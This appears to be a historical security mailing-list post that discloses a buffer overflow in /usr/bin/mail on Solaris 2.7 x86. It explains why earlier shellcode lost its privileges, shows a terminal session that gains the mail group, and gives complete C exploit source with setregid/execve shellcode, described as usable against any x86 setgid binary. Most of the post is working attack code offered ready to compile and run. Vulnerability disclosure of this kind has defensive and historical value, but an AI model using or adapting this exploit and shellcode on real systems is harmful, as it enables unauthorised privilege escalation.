Working Solaris x86 /usr/bin/mail exploit

[btellier () USA NET (Brock Tellier)]

Greetings,

A few weeks ago I posted regarding an overflow in  /usr/bin/mail on Solaris
2.7.  I incorrectly stated that mail drops privs before the overflow occurs. 
Cheez Whiz, who wrote the shellcode, saw my post on Packetstorm and supplied
the following information:

...The problem with your present exploit lies in the shell code that
it uses.  Have you read my posting to Bugtraq with regards to the way that
/bin/sh under Solaris handles mismatches between real and effective UIDs?
You can review it at:

    http://packetstorm.securify.com/9901-exploits/ufodump.c

A little experimentation with /bin/sh on Solaris seems to suggest that it
treats group IDs in a similar manner.  If you try to execute a shell with
an effective GID that does not match your real GID (as would be the case
when the overflow in /usr/bin/mail happens) the shell abandons its special
privilege.  This is what is happening in your exploit.  

...

This replacement shell code makes sure that the
real GID of the process is equal to the effective GID before exec'ing the
shell.  It does setregid(getegid(), getegid()) since Solaris is a little
quirky about setgid(), because setgid(setegid()) works on other UNIX systems
but does not work on Solaris.  This new shell code can be used against other
SGID overflows, since it will work regardless of the privileged GID of the
target binary.  It's also 10 bytes longer than the previous code so make
sure to reduce your NOP count by 10.

Thus the new exploit works as follows:

bash-2.02$ uname -a; id
SunOS solhack 5.7 Generic_106542-05 i86pc i386 i86pc
uid=136(btellier) gid=100(devel)
bash-2.02$ /usr/bin/mail -m `./mailex 0 1975 2285` foo
.
$ id
uid=136(btellier) gid=6(mail)
$

Brock Tellier
UNIX Systems Administrator

--- solx86gid.c ---
/*
 * Generic Solaris x86 exploit program by Brock Tellier
 * For use against any x86 sgid binary
 * Shellcode by Cheez Whiz (fixes problem with shells dropping egid if it
doesn't match your real gid)
 * Will set gid=6(mail)
 *
 * gcc -o mailex solx86gid.c
 * /usr/bin/mail -m `./mailex 0 1975 2285` foo
   . <period, enter>
   $ 
  
 * Usage: ./mailex <offset> <NOPS> <BUFSIZE>
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 10000
#define NOP 0x90

char shell[] =
/*  0 */ "\xeb\x45"                         /* jmp springboard       */
/* syscall:                                                          */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                             /* ret                   */
/* start:                                                            */
/* 10 */ "\x5e"                             /* popl %esi             */
/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
/* 16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/* setregid:                                                         */
/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 27 */ "\xb0\x2f"                         /* movb $0x2f,%al        */
/* 29 */ "\xe8\xe0\xff\xff\xff"             /* call syscall          */
/* 34 */ "\x52"                             /* pushl %edx            */
/* 35 */ "\x52"                             /* pushl %edx            */
/* 36 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 38 */ "\xb0\xcb"                         /* movb $0xcb,%al        */
/* 40 */ "\xe8\xd5\xff\xff\xff"             /* call syscall          */
/* 45 */ "\x83\xc4\x08"                     /* addl $0x4,%esp        */
/* execve:                                                           */
/* 48 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 50 */ "\x50"                             /* pushl %eax            */
/* 51 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
/* 54 */ "\x53"                             /* pushl %ebx            */
/* 55 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
/* 57 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
/* 60 */ "\x53"                             /* pushl %ebx            */
/* 61 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/* 63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall          */
/* 68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                      */
/* 71 */ "\xe8\xbe\xff\xff\xff"             /* call start            */
/* data:                                                             */
/* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 84 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 88 */ "\xff\xff\xff\xff";                /* DATA                  */

unsigned long int nop;
unsigned long int esp;
long int offset;

char buf[BUF];

unsigned long int get_esp()
{
    __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
    int buflen, i;
       

    if (argc > 1)
        offset = strtol(argv[1], NULL, 0);

    if (argc > 2)
        nop = strtoul(argv[2], NULL, 0);
    else
        nop = 285;

    if (argc > 3)
        buflen=atoi(argv[3]);
    else 
        buflen=BUF;
    
    esp = get_esp();

    memset(buf, NOP, buflen);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < buflen-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    for (i = 0; i < strlen(buf); i++) putchar(buf[i]);

    return;
}

------

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